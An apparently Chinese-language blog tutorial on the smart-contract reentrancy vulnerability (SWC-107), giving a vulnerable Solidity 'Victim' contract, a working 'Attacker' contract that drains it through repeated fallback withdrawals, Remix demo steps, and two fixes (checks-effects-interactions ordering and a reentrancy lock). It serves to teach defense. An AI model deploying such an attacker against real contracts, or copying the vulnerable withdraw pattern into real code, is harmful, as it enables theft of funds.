当前位置:网站首页>智能合约安全-可重入攻击(SW107-Reentrancy)
智能合约安全-可重入攻击(SW107-Reentrancy)
2022-08-02 23:33:00 【Johnathan】
攻击名称
可重入攻击(Reentrancy)
攻击分类CWE-841
代码实现与预期行为不一致
攻击描述
主要的风险就是调用外部合约会接管合约的控制流。在可重入攻击中,恶意合约在被攻击合约的第一个函数执行完成前在再次调用合约,这可能导致函数调用与预期行为不一致。核心流程与原理如下:
合约案例
被攻击合约
// SPDX-License-Identifier: GPL-3.0pragma solidity ^0.6.10;contract Victim { mapping(address=> uint256) public balances; function deposit() public payable{ balances[msg.sender] += msg.value; } function withdraw(uint256 amount) public { require(balances[msg.sender] >= amount); (bool success,) = msg.sender.call{value:amount}(""); require(success, "Fail to send ether!"); balances[msg.sender] -= amount; } function getBalance() public view returns(uint){ return address(this).balance; }}
攻击合约
contract Attacker{ Victim public victim; constructor(address _victimAddr) public { victim = Victim(_victimAddr); } function beginAttack() external payable{ require(msg.value >= 1 ether); victim.deposit{value: 1 ether}(); victim.withdraw(1 ether); } fallback() external payable{ //死循环的话一毛也取不到 if (address(victim).balance >= 1 ether) { victim.withdraw(1 ether); } } function getBalance() public view returns(uint){ return address(this).balance; }}
操作示例
- 采用Remix账户1部署Victim合约,然后调用deposit存入4个ETH
- 采用Remix账户1部署Attacker合约,然后调用beginAttack并传入1个ETH
- Victim合约GetBalance: 0, Attacker合约GetBalance 5
防止策略
- 切换存储更新和外部调用的顺序,防止启用攻击的重新进入条件。遵循“检查-效果-相互作用”设计模式。
contract Victim{ ... function withdraw(uint256 amount) public { require(balances[msg.sender] >= amount); balances[msg.sender] -= amount; (bool success,) = msg.sender.call{value:amount}(""); require(success, "Fail to send ether!"); }
2.加锁。
bool internal locked; modifier noReentrant(){ require(!locked, "No re-entrancy!"); locked = true; _; locked = false; } function withdraw(uint256 amount) public noReentrant{ require(balances[msg.sender] >= amount); (bool success,) = msg.sender.call{value:amount}(""); require(success, "Fail to send ether!"); balances[msg.sender] -= amount; }
边栏推荐
- 有奖提问|《新程序员》专访“Apache之父”Brian Behlendorf
- 淘宝商品销量接口/淘宝商品销量监控接口/商品累计销量接口代码对接分享
- 用了TCP协议,就一定不会丢包吗?
- Strict feedback nonlinear systems based on event trigger preset since the immunity of finite time tracking control
- Swift中的类型相关内容
- js基础知识整理之 —— 闭包
- 优秀论文以及思路分析02
- Day117. Shangyitong: Generate registered order module
- Apache Doris 1.1 特性揭秘:Flink 实时写入如何兼顾高吞吐和低延时
- 【Autosar RTM】
猜你喜欢
基于飞腾平台的嵌入式解决方案案例集 1.0 正式发布!
Cholesterol-PEG-Acid,胆固醇-聚乙二醇-羧基保持在干燥、低温环境下
机电设备制造企业,如何借助ERP系统做好客供料管理?
RollBack Rx Professional RMC 安装教程
用了这么多年的LinkedList,作者说自己从来不用它?为什么?
js基础知识整理之 —— 获取元素和命名规范
科研用Cholesterol-PEG-NHS,NHS-PEG-CLS,胆固醇-聚乙二醇-活性酯
公司招个程序员,34岁以上两年一跳的不要,开出工资以为看错了
The latest real software test interview questions are shared. Are you afraid that you will not be able to enter the big factory after collecting them?
服务间歇性停顿问题优化|得物技术
随机推荐
函数:计算组合数
基于STM32设计的老人防摔倒报警设备(OneNet)
新公链时代的跨链安全性解决方案
matplotlib中的3D绘图警告解决:MatplotlibDeprecationWarning: Axes3D(fig) adding itself to the figure
Teach you to locate online MySQL slow query problem hand by hand, package teaching package meeting
2022中国眼博会,山东眼健康展,视力矫正仪器展,护眼产品展
最近公共祖先(LCA)学习笔记 | P3379 【模板】最近公共祖先(LCA)题解
CAS:474922-22-0,DSPE-PEG-MAL,磷脂-聚乙二醇-马来酰亚胺科研试剂供应
js基础知识整理之 —— 五种输出方式
牛客网剑指offer刷题练习之链表中环的入口结点
简单聊聊MySQL中的六种日志
【多线程】线程与进程、以及线程进程的调度
【mysql知识点整理】--- order by 、group by 出现Using filesort原因详解
别再到处乱放配置文件了!我司使用 7 年的这套解决方案,稳的一秕
pytest-常用运行参数
Moco of Mock tools use tutorial
科研用Cholesterol-PEG-NHS,NHS-PEG-CLS,胆固醇-聚乙二醇-活性酯
Technology Sharing | How to do assertion verification for xml format in interface automation testing?
4、Citrix MCS云桌面无法安装todesk等软件
为了面试阿里,熬夜肝完这份软件测试笔记后,Offer终于到手了